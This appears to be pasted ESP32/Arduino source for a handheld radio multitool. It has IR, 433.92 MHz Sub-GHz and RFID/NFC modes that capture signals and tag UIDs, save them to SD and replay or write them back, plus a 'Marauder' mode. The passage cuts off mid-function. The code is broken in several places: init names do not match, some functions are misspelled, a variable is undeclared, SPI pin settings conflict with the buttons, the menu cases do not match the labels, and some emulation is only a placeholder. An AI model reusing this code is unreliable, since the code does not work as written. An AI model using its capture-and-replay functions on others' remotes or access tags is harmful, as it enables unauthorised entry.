this is the main menu
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
// Include module prototypes
#include "IR_mode.ino"
#include "SubGHz_mode.ino"
#include "Rfid-Nfc_mode.ino"
#include "Game_mode.ino"
#include "Marauder_mode.ino"
#include "bluetooth_mode.ino"
// Function Prototypes
void IRMode();
void SubGHzMode();
void NFCMode();
void GameMode();
void MarauderMode();
void BluetoothMode();
void Intinfc();
void InitIR();
void InitSubGHz();
void InitBluetooth();
void InitGame();
void InitMarauder();
#define SSD1306_I2C_ADDRESS 0x3C // Explicitly define I2C address for the SSD1306
Adafruit_SSD1306 display(128, 64, &Wire, -1);// OLED and PN532 Initialization
// Button pins
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_SELECT 27
#define BUTTON_BACK 26
#define BUTTON_LEFT 33
#define BUTTON_RIGHT 32
String currentName = ""; // Current name for saving tag data
const char* keyboard[4][12] = {
{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L"},
{"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X"},
{"Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
{"SPACE", "DEL", "DONE", "", "", "", "", "", "", "", "", ""}
};
int currentRow = 0;
int currentCol = 0;
int totalOptions = 0; // Declare globally to ensure scope
int selectedOption = 0;
void setup() {
Serial.begin(115200);
// Initialize OLED
if (!display.begin(SSD1306_I2C_ADDRESS, SSD1306_I2C_ADDRESS)) {
Serial.println(F("SSD1306 allocation failed"));
for (;;); // Infinite loop to stop execution if display initialization fails
}
display.display();
delay(1000);
// Initialize SD card
if (!SD.begin(4)) {
Serial.println("SD card initialization failed!");
while (1);
}
// Initialize buttons
pinMode(BUTTON_SELECT, INPUT_PULLUP);
pinMode(BUTTON_BACK, INPUT_PULLUP);
pinMode(BUTTON_UP, INPUT_PULLUP);
pinMode(BUTTON_DOWN, INPUT_PULLUP);
pinMode(BUTTON_LEFT, INPUT_PULLUP);
pinMode(BUTTON_RIGHT, INPUT_PULLUP);
//call initialize
Intinfc();
InitIR();
InitSubGHz();
InitBluetooth();
InitGame();
InitMarauder();
}
void loop() {
displayStartingMenu();
handleMenuInput();
}
// Functions for menu navigation
void displayStartingMenu() {
display.clearDisplay(); // Clear the OLED display
display.setCursor(0, 0); // Reset the cursor position
// Define the menu options for IR mode
String menuOptions[] = {"IRmode", "SubGHz", "NFCMode", "GameMode", "BluetoothMode", "MarauderMode"};
totalOptions = sizeof(menuOptions) / sizeof(menuOptions[0]); // Adjust the number of menu options
// Loop through the menu options and display them
for (int i = 0; i < totalOptions; i++) {
if (i == selectedOption) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected option
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(0, i * 10); // Set cursor position for each menu item
display.print(menuOptions[i]); // Print the menu option
}
display.display(); // Refresh the display to show updates
}
void handleMenuInput() {
if (digitalRead(BUTTON_UP) == LOW) {
selectedOption = (selectedOption - 1 + totalOptions) % totalOptions;
delay(200);
} else if (digitalRead(BUTTON_DOWN) == LOW) {
selectedOption = (selectedOption + 1) % totalOptions;
delay(200);
} else if (digitalRead(BUTTON_SELECT) == LOW) {
selectOption();
delay(200);
}
}
void selectOption() {
switch (selectedOption) {
case 0: IRMode(); break;
case 1: SubGHzMode(); break;
case 2: NFCMode(); break;
case 3: GameMode(); break;
case 4: MarauderMode(); break;
case 5: BluetoothMode(); break;
default: break;
}
}
this is the IR
#include <Adafruit_SSD1306.h>
#include <IRremote.h>
#include <SD.h>
void displayIRMenu(); // Prototype for the displayMainMenu function
void navigateIRMenu(int direction); // Added parameter for menu navigation
void navigateIRLeftRight(int direction); // Added parameter for left-right navigation
void HandleselectIROption(int selectIROption); // Prototype for selectOption function
void showKeyboard();
void receiveIRSignal();
void saveIRSignal(String name);
void handleKeyboardInput();
void universalRemote();
void savedFilesIR();
void emulateSavedSignal(String fileName);
void showIRKeyboard();
void handleIRKeyboardInput();
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_LEFT 27
#define BUTTON_RIGHT 26
#define BUTTON_SELECT 33
#define BUTTON_BACK 32
#define SSD1306_I2C_ADDRESS 0x3C // Explicitly define I2C address for the SSD1306z
extern Adafruit_SSD1306 display; // Reference the global display object
// IR Receiver and Transmitter setup
IRrecv irrecv(13); // IR receiver pin
IRsend irsend; // IR transmitter pin
decode_results results; // IR results
// Reference the shared keyboard array
extern const char* keyboard[4][12];
extern int currentRow;
extern int currentCol;
extern int totalOptions;
int selectIROption = 0;
extern String currentName; // Reference the global variable
extern void displayMainMenu();
unsigned long lastButtonPress = 0; // Store the last time a button was pressed
const unsigned long debounceDelay = 200; // 200ms debounce delay
void InitIR() {
irrecv.enableIRIn(); // Start IR receiver
irsend.enableIROut(38); // Set IR LED to 38kHz (standard for many IR devices)
SD.begin(4); // SD card initialization
displayMainMenu();
}
void IRMode() {
unsigned long currentMillis = millis();
if (digitalRead(BUTTON_UP) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateIRMenu(-1); // Navigate up
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_DOWN) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateIRMenu(1); // Navigate down
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_LEFT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateIRLeftRight(-1); // Navigate left
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_RIGHT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateIRLeftRight(1); // Navigate right
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_SELECT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
HandleselectIROption(selectIROption); // Select current option
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_BACK) == LOW && currentMillis - lastButtonPress > debounceDelay) {
displayMainMenu(); // Go back to the main menu
lastButtonPress = currentMillis;
}
}
void navigateIRMenu(int direction) {
// Logic for vertical navigation through menu options
selectIROption = (selectIROption + direction + totalOptions) % totalOptions;
displayIRMenu(); // Update display after navigation
}
void navigateIRLeftRight(int direction) {
// Logic for horizontal navigation (used for the keyboard)
currentCol = (currentCol + direction + 12) % 12;
showKeyboard(); // Update display after navigation
}
void HandleselectIROption(int selectIROption) {
// Depending on the selected option, perform the associated action for IR mode
switch (selectIROption) {
case 0:
receiveIRSignal(); // Go to Receive IR Mode
break;
case 1:
universalRemote(); // Go to Universal Remote Mode
break;
case 2:
savedFilesIR(); // Show saved files
break;
default:
break;
}
}
void displayIRMenu() {
display.clearDisplay(); // Clear the OLED display
display.setCursor(0, 0); // Reset the cursor position
// Define the menu options for IR mode
String menuOptions[] = {"Receive IR Signal", "Universal Remote", "Saved Files"};
totalOptions = sizeof(menuOptions) / sizeof(menuOptions[0]); // Adjust the number of menu options
// Loop through the menu options and display them
for (int i = 0; i < totalOptions; i++) {
if (i == selectIROption) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected option
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(0, i * 10); // Set cursor position for each menu item
display.print(menuOptions[i]); // Print the menu option
}
display.display(); // Refresh the display to show updates
}
void receiveIRSignal() {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Receiving IR Signal...");
display.display();
if (irrecv.decode(&results)) {
Serial.println("IR Signal received: " + String(results.value, HEX));
irrecv.resume(); // Receive the next value
// Ask whether to save or emulate
display.clearDisplay();
display.setCursor(0, 0);
display.print("Save or Emulate?");
display.display();
// Wait for button press to decide
bool decisionMade = false;
while (!decisionMade) {
if (digitalRead(BUTTON_SELECT) == LOW) {
// Save the signal
display.clearDisplay();
display.setCursor(0, 0);
display.print("Enter name:");
display.display();
handleKeyboardInput(); // Go to keyboard to input the name
decisionMade = true;
}
if (digitalRead(BUTTON_BACK) == LOW) {
// Emulate the signal
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulating IR Signal...");
irsend.sendNEC(results.value, 32); // Example for NEC signal
display.display();
delay(1000); // Wait for a second
decisionMade = true;
}
}
} else {
display.clearDisplay();
display.setCursor(0, 0);
display.print("No IR Signal");
display.display();
delay(1000);
}
}
void saveIRSignal(String name) {
File file = SD.open("/" + name + ".txt", FILE_WRITE);
if (file) {
file.println("IR signal data...");
file.close();
} else {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Error saving file");
display.display();
delay(1000); // Show the error for a while
}
displayMainMenu();
}
void savedFilesIR() {
File root = SD.open("/"); // Open the root directory
display.clearDisplay();
display.setCursor(0, 0);
// Create an array to hold file names and count the total files
String files[20]; // Array to hold file names (adjust the size as necessary)
int fileCount = 0;
// List files in the directory
while (true) {
File entry = root.openNextFile();
if (!entry) {
break; // No more files
}
if (entry.isDirectory()) {
continue; // Skip directories
}
files[fileCount] = entry.name(); // Store the file name
fileCount++;
if (fileCount >= 20) { // Limit file list size (adjust as needed)
break;
}
entry.close();
}
int currentFile = 0; // Start at the first file
while (true) {
display.clearDisplay();
display.setCursor(0, 0);
// Display the current file in the list
display.print("File: ");
display.print(files[currentFile]);
display.display();
// Wait for button input to navigate or select
if (digitalRead(BUTTON_UP) == LOW) {
currentFile = (currentFile - 1 + fileCount) % fileCount; // Scroll up
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentFile = (currentFile + 1) % fileCount; // Scroll down
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
// When file is selected, emulate the IR signal
emulateSavedSignal(files[currentFile]);
return; // Go back to the menu after selection
}
if (digitalRead(BUTTON_BACK) == LOW) {
displayMainMenu(); // Return to the main menu
return;
}
delay(100); // Small delay to debounce button presses
}
}
void emulateSavedSignal(String fileName) {
// Open the saved file to read the signal data
File file = SD.open(fileName);
if (file) {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulating: ");
display.print(fileName);
display.display();
String signalData = "";
// Read the file content (assuming the frequency or signal data is stored as a HEX value)
while (file.available()) {
signalData += (char)file.read();
}
file.close();
// Convert the signal data to a frequency or signal (example, you might need to parse the file content)
long signal = strtol(signalData.c_str(), NULL, 16); // Convert hex string to long value
// Emulate the IR signal
irsend.sendNEC(signal, 32); // Example for NEC signal (32-bit)
delay(1000); // Wait for a second
} else {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Error reading file");
display.display();
delay(1000); // Show error message
}
}
void universalRemote() {
// Universal Remote Mode - Example signals
String signals[] = {"TV", "DVD", "AC", "Fan"};
int selectedSignal = 0;
while (true) {
display.clearDisplay();
display.setCursor(0, 0);
for (int i = 0; i < 4; i++) {
if (i == selectedSignal) {
display.setTextColor(SSD1306_INVERSE);
} else {
display.setTextColor(SSD1306_WHITE);
}
display.print(signals[i]);
display.setCursor(0, (i + 1) * 10);
}
display.display();
if (digitalRead(BUTTON_UP) == LOW) {
selectedSignal = (selectedSignal - 1 + 4) % 4;
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
selectedSignal = (selectedSignal + 1) % 4;
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
// Send signal corresponding to the selected universal remote option
if (selectedSignal == 0) {
irsend.sendNEC(0x20DF10EF, 32); // Example TV signal
}
break;
}
if (digitalRead(BUTTON_BACK) == LOW) {
displayMainMenu();
break;
}
}
}
void showIRKeyboard() {
display.clearDisplay();
display.setCursor(0, 0);
for (int row = 0; row < 4; row++) {
for (int col = 0; col < 12; col++) {
if (row == currentRow && col == currentCol) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected key
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(col * 12, row * 10);
display.print(keyboard[row][col]);
}
}
display.display();
}
void handleIRKeyboardInput() {
if (digitalRead(BUTTON_UP) == LOW) {
currentRow = (currentRow - 1 + 4) % 4; // Move up on the keyboard
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentRow = (currentRow + 1) % 4; // Move down on the keyboard
delay(200);
}
if (digitalRead(BUTTON_LEFT) == LOW) {
currentCol = (currentCol - 1 + 12) % 12; // Move left on the keyboard
delay(200);
}
if (digitalRead(BUTTON_RIGHT) == LOW) {
currentCol = (currentCol + 1) % 12; // Move right on the keyboard
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
// Select character from the keyboard
String selectedKey = keyboard[currentRow][currentCol];
if (selectedKey == "SPACE") {
currentName += " ";
} else if (selectedKey == "BACKSPACE") {
if (currentName.length() > 0) {
currentName.remove(currentName.length() - 1);
}
} else if (selectedKey == "DONE") {
saveIRSignal(currentName);
return;
} else {
currentName += selectedKey;
}
delay(200);
}
if (digitalRead(BUTTON_BACK) == LOW) {
return;
}
}
this is the RFID/NFC
//libraries
#include <Wire.h>
#include <Adafruit_PN532.h>
#include <Adafruit_SSD1306.h>
#include <SD.h>
// Function Prototype
void showKeyboard();
void displayTagDetails(uint8_t *uid, uint8_t uidLength);
void initnfc();
void NFCMode();
void saveTag(uint8_t *uid, uint8_t uidLength, String name);
void emulateTag(uint8_t *uid, uint8_t uidLength);
void displayRfidMenu(const char *message);
bool waitForButton(int buttonPin);
void emulateSavedTag(String fileName);
void showRfidKeyboard();
void handleRfidKeyboardInput();
void savedFilesRfid();
void navigateRfidLeftRight(int direction);
void navigateRfidMenu(int direction);
void HandleselectRfidOption(int selectRfidOption);
void receiveRfidSignal();
void displayRfidSubMenu(const char *message);
// Pin Definitions
#define SDA_PIN 21
#define SCL_PIN 22
#define BUTTON_SELECT 33
#define BUTTON_BACK 32
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_LEFT 27
#define BUTTON_RIGHT 26
#define SSD1306_I2C_ADDRESS 0x3C // I2C address for SSD1306
extern Adafruit_SSD1306 display; // Reference the global display object
// Create an instance of the PN532 object for I2C
Adafruit_PN532 nfc(SDA_PIN,SCL_PIN);
// Variables
extern String currentName; // Reference the global variable
extern int totalOptions;
int selectRfidOption = 0;
extern const char* keyboard[4][12];// Reference the shared keyboard array
extern int currentRow;
extern int currentCol;
extern void displayMainMenu();
void displayTagDetails(uint8_t *uid, uint8_t uidLength);
int parseUID(String uidData, uint8_t *uid) {
// Parse the saved UID data from string to byte array
int length = 0;
int index = 0;
while (index < uidData.length()) {
if (uidData[index] == ' ') {
index++;
continue;
}
char hexByte[3] = { uidData[index], uidData[index+1], '\0' };
uid[length] = strtol(hexByte, NULL, 16);
length++;
index += 2;
}
return length;
}
void Initnfc() {
// Initialize NFC
nfc.begin();
uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) {
Serial.println("Didn't find PN532 board");
while (1); // Halt
}
nfc.SAMConfig(); // Configure the secure access module
Serial.println("PN532 initialized");
}
void NFCMode() {
unsigned long currentMillis = millis();
if (digitalRead(BUTTON_UP) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateRfidMenu(-1); // Navigate up
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_DOWN) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateRfidMenu(1); // Navigate down
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_LEFT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateRfidLeftRight(-1); // Navigate left
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_RIGHT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateRfidLeftRight(1); // Navigate right
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_SELECT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
HandleselectRfidOption(selectRfidOption); // Select current option
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_BACK) == LOW && currentMillis - lastButtonPress > debounceDelay) {
displayMainMenu(); // Go back to the main menu
lastButtonPress = currentMillis;
}
}
void navigateRfidMenu(int direction) {
// Logic for vertical navigation through menu options
selectRfidOption = (selectRfidOption + direction + totalOptions) % totalOptions;
displayRfidMenu("Rfid Menu"); // Update display after navigation
}
void navigateRfidLeftRight(int direction) {
// Logic for horizontal navigation (used for the keyboard)
currentCol = (currentCol + direction + 12) % 12;
showKeyboard(); // Update display after navigation
}
void HandleselectRfidOption(int selectRfidOption) {
// Depending on the selected option, perform the associated action for IR mode
switch (selectRfidOption) {
case 0:
receiveRfidSignal(); // Go to Receive IR Mode
break;
case 1:
savedFilesRfid(); // Show saved files
break;
default:
break;
}
}
void displayRfidMenu(const char* menuTitle) {
display.clearDisplay(); // Clear the OLED display
display.setCursor(0, 0); // Reset the cursor position
// Define the menu options for IR mode
String menuOptions[] = {"Receive Rfid Signal","Saved Files Rfid"};
totalOptions = sizeof(menuOptions) / sizeof(menuOptions[0]); // Adjust the number of menu options
// Display the title passed as argument
display.setTextColor(SSD1306_WHITE); // Set color for title
display.setCursor(0, 0); // Set the position to print title
display.print(menuTitle); // Print the menu title
// Loop through the menu options and display them
for (int i = 0; i < totalOptions; i++) {
if (i == selectRfidOption) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected option
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(0, (i + 1) * 10); // Set cursor position for each menu item
display.print(menuOptions[i]); // Print the menu option
}
display.display(); // Refresh the display to show updates
}
void recieveRfidSignal() {
uint8_t success;
uint8_t uid[7] = {0}; // Buffer for the UID
uint8_t uidLength = 0; // Length of the UID
display.clearDisplay();
display.setCursor(0, 0);
display.print("Waiting for tag...");
display.display();
success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);
if (success) {
displayTagDetails(uid, uidLength);
delay(2000); // Pause to show details
// Display menu for save or emulate
displayRfidMenu("Save or Emulate?");
if (waitForButton(BUTTON_SELECT)) {
currentName = ""; // Reset name input
handleKeyboardInput();
saveTag(uid, uidLength, currentName); // Save tag data
}
else if (waitForButton(BUTTON_BACK)) {
emulateTag(uid, uidLength); // Attempt tag emulation
}
}
}
void displayRfidSubMenu(const char *message) {
display.clearDisplay();
display.setCursor(0, 0);
display.print(message);
display.setCursor(0, 20);
display.print("Select = Save");
display.setCursor(0, 30);
display.print("Back = Emulate");
display.display();
}
void displayTagDetails(uint8_t *uid, uint8_t uidLength) {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Tag Found!");
display.setCursor(0, 10);
display.print("UID: ");
for (uint8_t i = 0; i < uidLength; i++) {
display.print(uid[i], HEX);
if (i < uidLength - 1) display.print(" ");
}
display.display();
}
bool waitForButton(int buttonPin) {
while (true) {
if (digitalRead(buttonPin) == LOW) {
delay(200); // Debounce
return true;
}
}
}
void saveTag(uint8_t *uid, uint8_t uidLength, String name) {
String uidString = "";
for (uint8_t i = 0; i < uidLength; i++) {
uidString += String(uid[i], HEX);
if (i < uidLength - 1) uidString += " ";
}
display.clearDisplay();
display.setCursor(0, 0);
display.print("Saving Tag...");
display.display();
File file = SD.open("/" + name + ".txt", FILE_WRITE);
if (file) {
file.println("UID: " + uidString);
file.close();
display.clearDisplay();
display.setCursor(0, 0);
display.print("Tag Saved!");
display.display();
delay(1000);
} else {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Save Failed!");
display.display();
delay(1000);
}
}
void emulateTag(uint8_t *uid, uint8_t uidLength) {
// Example placeholder for emulation logic
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulating Tag...");
display.display();
delay(2000); // Simulate emulation duration
}
void savedFilesRfid() {
File root = SD.open("/"); // Open the root directory
display.clearDisplay();
display.setCursor(0, 0);
// Create an array to hold file names and count the total files
String files[20]; // Array to hold file names (adjust the size as necessary)
int fileCount = 0;
// List files in the directory
while (true) {
File entry = root.openNextFile();
if (!entry) {
break; // No more files
}
if (entry.isDirectory()) {
continue; // Skip directories
}
files[fileCount] = entry.name(); // Store the file name
fileCount++;
if (fileCount >= 20) { // Limit file list size (adjust as needed)
break;
}
entry.close();
}
int currentFile = 0; // Start at the first file
while (true) {
display.clearDisplay();
display.setCursor(0, 0);
// Display the current file in the list
display.print("File: ");
display.print(files[currentFile]);
display.display();
// Wait for button input to navigate or select
if (digitalRead(BUTTON_UP) == LOW) {
currentFile = (currentFile - 1 + fileCount) % fileCount; // Scroll up
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentFile = (currentFile + 1) % fileCount; // Scroll down
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
// When file is selected, emulate the RFID signal
emulateSavedTag(files[currentFile]);
return; // Go back to the menu after selection
}
if (digitalRead(BUTTON_BACK) == LOW) {
displayMainMenu(); // Return to the main menu
return;
}
delay(100); // Small delay to debounce button presses
}
}
void emulateSavedTag(String fileName) {
// Open the saved file to read the RFID tag data
File file = SD.open(fileName);
if (file) {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulating: ");
display.print(fileName);
display.display();
String uidData = "";
// Read the file content (assuming the UID is stored as a HEX value)
while (file.available()) {
uidData += (char)file.read();
}
file.close();
// Display the UID data
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulated UID: ");
display.print(uidData);
display.display();
// Emulate the RFID tag using the PN532
uint8_t uid[7];
int uidLength = parseUID(uidData, uid); // Parse UID string to byte array
if (uidLength > 0) {
// Write UID in chunks of 4 bytes
for (int i = 0; i < uidLength; i += 4) {
uint8_t pageData[4] = {0x00, 0x00, 0x00, 0x00}; // Initialize a 4-byte buffer
// Fill the pageData buffer with UID data, padding with 0x00 if necessary
for (int j = 0; j < 4; j++) {
if ((i + j) < uidLength) {
pageData[j] = uid[i + j];
}
}
// Write the 4-byte chunk to the tag's memory starting from page 4
if (!nfc.ntag2xx_WritePage(4 + (i / 4), pageData)) {
// If writing fails, display an error
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulation Failed!");
display.display();
delay(1000);
return; // Exit the function if writing fails
}
}
// If all writes are successful, display success
display.clearDisplay();
display.setCursor(0, 0);
display.print("UID Emulated!");
display.display();
} else {
// If the UID data is invalid, display an error
display.clearDisplay();
display.setCursor(0, 0);
display.print("Invalid UID data");
display.display();
}
}
}
void showRfidKeyboard() {
display.clearDisplay();
for (int row = 0; row < 4; row++) {
for (int col = 0; col < 12; col++) {
if (keyboard[row][col][0] != '\0') {
if (row == currentRow && col == currentCol) {
display.setTextColor(SSD1306_INVERSE);
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(col * 10, row * 10);
display.print(keyboard[row][col]);
}
}
}
display.display();
}
void handleRfidKeyboardInput() {
while (true) {
showKeyboard();
if (digitalRead(BUTTON_UP) == LOW) {
currentRow = (currentRow - 1 + 4) % 4;
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentRow = (currentRow + 1) % 4;
delay(200);
}
if (digitalRead(BUTTON_LEFT) == LOW) {
currentCol = (currentCol - 1 + 12) % 12;
delay(200);
}
if (digitalRead(BUTTON_RIGHT) == LOW) {
currentCol = (currentCol + 1) % 12;
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
const char* selectedKey = keyboard[currentRow][currentCol];
if (strcmp(selectedKey, "SPACE") == 0) {
currentName += " ";
} else if (strcmp(selectedKey, "DEL") == 0) {
if (currentName.length() > 0) {
currentName.remove(currentName.length() - 1);
}
} else if (strcmp(selectedKey, "DONE") == 0) {
return;
} else {
currentName += selectedKey;
}
delay(200);
}
if (digitalRead(BUTTON_BACK) == LOW) {
return;
}
}
}
this is the SubGHz
#include <Adafruit_SSD1306.h>
#include <SD.h>
#include <ELECHOUSE_CC1101_SRC_DRV.h> // Include CC1101 library
// Function Prototype
void displayMainMenu();// Prototype for the displayMainMenu function
void handleSubGHzKeyboardInput();
void showSubGHzKeyboard();
void savedFilesSubGHz();
void saveSubGhzSignal(String name, String signal);
void emulateSubGhzSignal(String signal);
void saveOrEmulateSubGhz();
void receiveSubGhzSignal();
void displaySubGHzMenu();
void HandleselectSubGHzOption(int selectSubGHzOption);
void navigateSubGHzLeftRight(int direction);
void navigateSubGHzMenu(int direction);
void SubGHzMode();
void InitSubGHz();
void configureCC1101();
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_LEFT 27
#define BUTTON_RIGHT 26
#define BUTTON_SELECT 33
#define BUTTON_BACK 32
#define CC1101_CS 5 // Chip Select pin
#define CC1101_MOSI 23
#define CC1101_MISO 19
#define CC1101_SCK 18
#define SSD1306_I2C_ADDRESS 0x3C // Explicitly define I2C address for the SSD1306
extern Adafruit_SSD1306 display; // Reference the global display object
String receivedSubGhzSignal = ""; // Holds the received Sub-GHz signal
extern String currentName; // Reference the global variable
// Reference the shared keyboard array
extern const char* keyboard[4][12];
extern int currentRow;
extern int currentCol;
extern int totalOptions;
int selectSubGHzOption = 0;
extern void displayMainMenu();
void configureCC1101() {
// Set GDO pins
ELECHOUSE_cc1101.setGDO(0, 0); // GDO0, GDO2 pins set to 0
// Set SPI pins for communication
ELECHOUSE_cc1101.setSpiPin(10, 11, 12, 13); // CS, SCK, MOSI, MISO pins
// Set receiver bandwidth (rxBW)
ELECHOUSE_cc1101.setRxBW(16); // Example setting (check datasheet)
// Set channel spacing (Chsp)
ELECHOUSE_cc1101.setChsp(812); // Example value (check datasheet)
// Set channel number (0-255)
ELECHOUSE_cc1101.setChannel(1); // Channel 1
// Set frequency (MHz)
ELECHOUSE_cc1101.setMHZ(433.92); // 433.92 MHz frequency
// Initialize the module with a specified output power (PAxx)
ELECHOUSE_cc1101.Init(); // Example power level (adjust as needed)
}
void InitSubGHz() {
// Initialize CC1101 with defined pins
ELECHOUSE_cc1101.setSpiPin(CC1101_CS, CC1101_SCK, CC1101_MOSI, CC1101_MISO);
// Initialize the module with a specified output power (PAxx)
ELECHOUSE_cc1101.Init();
// Call configureCC1101 to apply all settings
configureCC1101();
// Display main menu
displayMainMenu();
}
void SubGHzMode() {
unsigned long currentMillis = millis();
if (digitalRead(BUTTON_UP) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateSubGHzMenu(-1); // Navigate up
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_DOWN) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateSubGHzMenu(1); // Navigate down
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_LEFT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateSubGHzLeftRight(-1); // Navigate left
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_RIGHT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateSubGHzLeftRight(1); // Navigate right
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_SELECT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
HandleselectSubGHzOption(selectSubGHzOption); // Select current option
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_BACK) == LOW && currentMillis - lastButtonPress > debounceDelay) {
displayMainMenu(); // Go back to the main menu
lastButtonPress = currentMillis;
}
}
void navigateSubGHzMenu(int direction) {
// Logic for vertical navigation through menu options
selectSubGHzOption = (selectSubGHzOption + direction + totalOptions) % totalOptions;
displaySubGHzMenu(); // Update display after navigation
}
void navigateSubGHzLeftRight(int direction) {
// Logic for horizontal navigation (used for the keyboard)
currentCol = (currentCol + direction + 12) % 12;
showKeyboard(); // Update display after navigation
}
void HandleselectSubGHzOption(int selectSubGHzOption) {
// Depending on the selected option, perform the associated action for IR mode
switch (selectSubGHzOption) {
case 0:
receiveSubGhzSignal(); // Go to Receive IR Mode
break;
case 1:
savedFilesSubGHz(); // Show saved files
break;
default:
break;
}
}
void displaySubGHzMenu() {
display.clearDisplay(); // Clear the OLED display
display.setCursor(0, 0); // Reset the cursor position
// Define the menu options for IR mode
String menuOptions[] = {"Receive SubGHz Signal","Saved SubGHz Rfid"};
totalOptions = sizeof(menuOptions) / sizeof(menuOptions[0]); // Adjust the number of menu options
// Loop through the menu options and display them
for (int i = 0; i < totalOptions; i++) {
if (i == selectSubGHzOption) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected option
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(0, i * 10); // Set cursor position for each menu item
display.print(menuOptions[i]); // Print the menu option
}
display.display(); // Refresh the display to show updates
}
void receiveSubGhzSignal() {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Receiving Sub-GHz...");
display.display();
byte buf[64];
int len = 0;
while (!ELECHOUSE_cc1101.CheckCRC()) {
delay(100);
}
len = ELECHOUSE_cc1101.ReceiveData(buf);
buf[len] = '\0';
receivedSubGhzSignal = String((char*)buf);
display.clearDisplay();
display.setCursor(0, 0);
display.print("Received Signal:");
display.setCursor(0, 10);
display.print(receivedSubGhzSignal);
display.display();
delay(2000);
saveOrEmulateSubGhz();
}
void saveOrEmulateSubGhz() {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Save or Emulate?");
display.display();
while (true) {
if (digitalRead(BUTTON_SELECT) == LOW) {
delay(200);
handleSubGHzKeyboardInput();
saveSubGhzSignal(currentName, receivedSubGhzSignal);
break;
}
if (digitalRead(BUTTON_BACK) == LOW) {
delay(200);
emulateSubGhzSignal(receivedSubGhzSignal);
break;
}
}
}
void emulateSubGhzSignal(String signal) {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Emulating Signal...");
display.display();
byte buf[64];
signal.toCharArray((char*)buf, 64);
ELECHOUSE_cc1101.SendData(buf, signal.length());
Serial.println("Emulated Signal: " + signal);
delay(1000);
displayMainMenu();
}
void saveSubGhzSignal(String name, String signal) {
File file = SD.open("/" + name + ".txt", FILE_WRITE);
if (file) {
file.println("Sub-GHz Signal: " + signal);
file.close();
Serial.println("Saved Signal: " + signal);
} else {
display.clearDisplay();
display.setCursor(0, 0);
display.print("Error saving file");
display.display();
delay(1000);
}
displayMainMenu();
}
void savedFilesSubGHz() {
File root = SD.open("/"); // Open the root directory
display.clearDisplay();
display.setCursor(0, 0);
// Create an array to hold file names and count the total files
String files[20]; // Array to hold file names (adjust the size as necessary)
